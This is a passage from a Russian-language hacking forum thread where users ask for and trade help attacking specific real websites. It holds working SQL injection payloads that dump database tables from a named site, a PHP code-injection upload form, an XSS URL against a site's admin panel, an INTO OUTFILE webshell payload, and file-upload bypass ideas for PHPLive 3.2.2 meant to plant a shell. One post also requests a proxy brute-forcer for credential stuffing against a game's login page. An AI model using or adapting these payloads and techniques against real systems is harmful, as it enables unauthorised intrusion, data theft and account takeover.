Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Cybersteger

    Cybersteger Member

    Joined:
    9 Oct 2009
    Messages:
    40
    Likes Received:
    13
    Reputations:
    15
    если я правильно понял

    Code:
    <form action="http://site.ru/index.php?testKey=123&code=copy($_FILES[file][tmp_name],$_GET[bob]);&bob=/home/httpdocs/files/22.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" value="upload">
    </form>
    </form>
    где /home/httpdocs/files/ - путь к папке которая доступна на запись
     
  2. FreN4

    FreN4 Banned

    Joined:
    5 Jun 2011
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    привет
    нужна помосчь!
    есть скуля но при дописывании limit или
    Code:
    bc_tovar_id=2-1+UNION+SELECT+1,2,3,4,group_concat%28table_name%29,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151+from+information_schema.schemata+where+table_name%3E'table_200'#
    сразу всё обрубается и дальше остальные таблици показывать не хочет помогите плз!
     
  3. FreN4

    FreN4 Banned

    Joined:
    5 Jun 2011
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Code:
    http://www.bsgv.ru/ipo_calc.php?bc_tovar_id=2-1+UNION+SELECT+1,2,3,4,group_concat%28table_name%29,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151+from+information_schema.tables+where%20table_name%3Etable_200#
     
  4. aka_zver

    aka_zver Elder - Старейшина

    Joined:
    17 Sep 2009
    Messages:
    471
    Likes Received:
    330
    Reputations:
    73
    какой вы интересный товарищ)
    Code:
    +UNION+SELECT+1,2,3,4,group_concat(0x3a,table_name),6,...,151+from+information_schema.tables%23
    или
    Code:
    +UNION+SELECT+1,2,3,4,table_name,6,...,151+from+information_schema.tables+limit+0,1%23
    а имя таблицы в кавычках, захексить бы
     
    1 person likes this.
  5. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,417
    Likes Received:
    815
    Reputations:
    848
    На сколько знаю, group_concat() выводит только первые 1024 символа и с limit он не работает...
     
    _________________________
  6. swad

    swad New Member

    Joined:
    14 Nov 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Использую конструкцию:
    В ошибке на странице выдаёт название базы данных.

    Пытаюсь применить эту конструкцию для другого запроса:
    Выдаёт ошибку, но команду не выполняет:
    В итоге возникает вопрос. Как заставить выполниться команду
    Название столбца и таблицы точно эти.
     
  7. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,417
    Likes Received:
    815
    Reputations:
    848
    добавь к конструкции limit 0,1

    вот пример:
     
    _________________________
  8. swad

    swad New Member

    Joined:
    14 Nov 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    winstrool
    Спасибо)
     
  9. FreN4

    FreN4 Banned

    Joined:
    5 Jun 2011
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    я пробовал и просто с лимитом и посмотри какой я запрос выше прислал,там всё я сделал правильно!)))))
     
  10. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,599
    Likes Received:
    1,308
    Reputations:
    1,557
    FreN4,
    Узнаем количество таблиц, исключая information_schema:
    Code:
    2-1+UNION+SELECT+1,2,3,4,count(*),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151+from+information_schema.tables+where+table_schema!=0x696E666F726D6174696F6E5F736368656D61+--+
    Выводим таблицы с начала:
    Code:
    2-1+UNION+SELECT+1,2,3,4,group_concat(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151+from+information_schema.tables+where+table_schema!=0x696E666F726D6174696F6E5F736368656D61+--+
    Выводим таблицы после binn_categs:
    Code:
    2-1+UNION+SELECT+1,2,3,4,group_concat(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151+from+information_schema.tables+where+table_schema!=0x696E666F726D6174696F6E5F736368656D61+and+table_name>0x62696E6E5F636174656773+--+
     
  11. BassCreator

    BassCreator New Member

    Joined:
    27 Oct 2010
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Дано: веб-морда для логина https://www.eveonline.com/login.asp
    список вида логин:пасс
    Нужно: программа, умеющая работать с таким видом брутфорса через прокси.

    Насколько я понял, WBF не имеет функции перебора по такому списку, а иных возможных вариантов не знаю.
    P.S. Также есть альтернативная веб-морда https://gate.eveonline.com/LogOn но её стоит использовать только в качестве резервной т.к. она, по всей видимости, более медленная.
     
  12. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    PHPLIVE 3.2.2
    Есть доступ к админке, но сделана она параноиком, фильтруется там все, что можно.

    Есть два интересных момента.
    Первый:

    PHP:
    if ( $action == "upload_logo" )
        {
            
    $pic_name $_FILES['pic']['name'] ;
            
    $now time() ;
            
    $filename eregi_replace" ""_"$pic_name ) ;
            
    $filename eregi_replace"%20""_"$filename ) ;

            
    $filesize $_FILES['pic']['size'] ;
            
    $filetype $_FILES['pic']['type'] ;

            if ( 
    eregi"gif"$filetype ) )
                
    $extension "GIF" ;
            elseif ( 
    eregi"jpeg"$filetype ) )
                
    $extension "JPEG" ;

            
    $filename $_POST['logo_name']."_$now.$extension;
            if ( 
    eregi"gif"$filetype ) ||  eregi"jpeg"$filetype ) )
            {
                if( 
    move_uploaded_file$_FILES['pic']['tmp_name'], "../web/$session_setup[login]/$filename) )
                {
                    
    chmod"../web/$session_setup[login]/$filename"0777 ) ;
                    if ( 
    $_POST['logo_name'] == "LOGO" )
                    {
                        if ( 
    file_exists "../web/$session_setup[login]/$LOGO) && $LOGO )
                            
    unlink"../web/$session_setup[login]/$LOGO) ;
                        
    $LOGO $filename ;
                    }
    Не вижу вариантов обхода фильтра...

    Второй ($COMPANY_NAME задается пользователем):
    PHP:
    function Util_Format_CleanVariable$string )
        {
            
    // take out common malicious characters that are
            // typically NOT used on standard inputs
            
    $string preg_replace"/[$#;?]|(eval\()|(eval +\()|(char\()|(char +\()|(exec\()|(exec +\()/i"""trimrtrim$string ) ) ) ;
            return 
    $string ;
        }


                    
    $COMPANY_NAME addslashesUtil_Format_CleanVariable$COMPANY_NAME ) ) ;
                    <..>

                    
    $conf_string "0LEFT_ARROW0?php
                    \$LOGO = '
    $LOGO' ;
                    \$COMPANY_NAME = '
    $COMPANY_NAME' ;
                    \$SUPPORT_LOGO_ONLINE = '
    $SUPPORT_LOGO_ONLINE' ;
                    \$SUPPORT_LOGO_OFFLINE = '
    $SUPPORT_LOGO_OFFLINE' ;
                    \$SUPPORT_LOGO_AWAY = '
    $SUPPORT_LOGO_AWAY' ;
                    \$VISITOR_FOOTPRINT = '
    $VISITOR_FOOTPRINT' ;
                    \$THEME = '
    $THEME' ;
                    \$POLL_TIME = '
    $POLL_TIME' ;
                    \$INITIATE = '
    $INITIATE' ;
                    \$INITIATE_IMAGE = '
    $INITIATE_IMAGE' ;
                    \$IPNOTRACK = '
    $IPNOTRACK' ;
                    \$LANG_PACK = '
    $LANG_PACK' ;?0RIGHT_ARROW0" ;

                    
    $conf_string preg_replace"/0LEFT_ARROW0/""<"$conf_string ) ;
                    
    $conf_string preg_replace"/0RIGHT_ARROW0/"">"$conf_string ) ;
                    
    $fp fopen ("../web/$session_setup[login]/$session_setup[login]-conf-init.php""wb+") ;
                    
    fwrite$fp$conf_stringstrlen$conf_string ) ) ;
                    
    fclose$fp ) ;
    eval просто заменяется на альтернативу, а вот что делать с экранированием кавычек, ";" и т.д.? Безнадежный случай?
     
  13. xxddz

    xxddz Elder - Старейшина

    Joined:
    2 Oct 2009
    Messages:
    734
    Likes Received:
    365
    Reputations:
    162
    Есть такая уязвимость в админке:
    http://100kotlov.ru/admin/?<img src=http://forum.antichat.ru/antichat/pic/logo.gif><script>alert(/ololo/)</script>
    После http://100kotlov.ru/admin/? любой html код или javascript.
    Можно ли залить как-нибудь шелл?
    Где можно найти такой скрипт?Хочу посмотреть на него изнутри.
     
  14. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    608
    Reputations:
    1,101
    Если уже есть доступ в админку, то никак. Если нету, то можно его получить(XXS). "Эта вставка HTML, через неё шелл не зальёш.
     
  15. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    608
    Reputations:
    1,101
    В переменную $_FILES['pic']['type'] подставляем слово JPEG (MIME-Тип(Tamper Data)).
    В переменную $_POST['logo_name'] пишем название шелла(shell.php) Заполняя конец NUL-байтом.

    Ну и если в папке разрешено выполнение PHP скироптов(php3, php4, php5, php, phtml...), в теории мы должны получить шелл.

    Во втором случае, если бы параметр не обрамлялся одинарными кавычками, возможно было бы использовать обратные кавычки.
     
    #17255 randman, 6 Jul 2011
    Last edited: 6 Jul 2011
  16. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    NULL-байт, к сожалению, экранируется.
     
  17. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    939
    Likes Received:
    162
    Reputations:
    27
    Этот вариант с null байтом срабатывает довольно редко.
    Но все это натолкнуло меня на одну мысль, если я не прав, тогда исправьте.
    Вот здесь делаеться замечательная проверка:
    PHP:
            if ( eregi"gif"$filetype ) ) 
                
    $extension "GIF" 
            elseif ( 
    eregi"jpeg"$filetype ) ) 
                
    $extension "JPEG" ;
    Но что если ниодно из условий не выполниться? - $extension не перезапишется. Мы можем сделать так, что бы в переменной $_FILES['pic']['type'] не оказалось подстрок gif и jpeg и с помощью GET параметров указать значение $extension вот так:
    Мы снова должны получить шелл.

    Зависимость: register_globals=on
     
    #17257 Chrome~, 6 Jul 2011
    Last edited: 6 Jul 2011
    1 person likes this.
  18. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,417
    Likes Received:
    815
    Reputations:
    848
    есть запрос на заливку такого типа:
    +%75nion+%73elect+1,2,0x3c3f20706870696e666f28293b203f3e,4,5,6,7+%69nto+%6futfile+'/tmp/1.txt'+--+
    там где /tmp/1.txt фильтруется, что сдесь можно придумать?
    кавычки не фильтруются и не экранируются, load_file() так же работает нормально.
     
    _________________________
  19. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,588
    Likes Received:
    405
    Reputations:
    196

    Проверка происходит здесь


    PHP:
     if ( eregi"gif"$filetype ) ||  eregi"jpeg"$filetype ) ) 
            { 
                if( 
    move_uploaded_file$_FILES['pic']['tmp_name'], "../web/$session_setup[login]/$filename) ) 
                { 
     
    3 people like this.
  20. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    939
    Likes Received:
    162
    Reputations:
    27
    Да, правильно, не досмотрел. Я позже нашел исходный код этого скрипта. Даже если бы не было проверки, все равно вариант не сработал бы, так как в полной версии увидел, что происходит инициализация переменных.
     
Loading...
Thread Status:
Not open for further replies.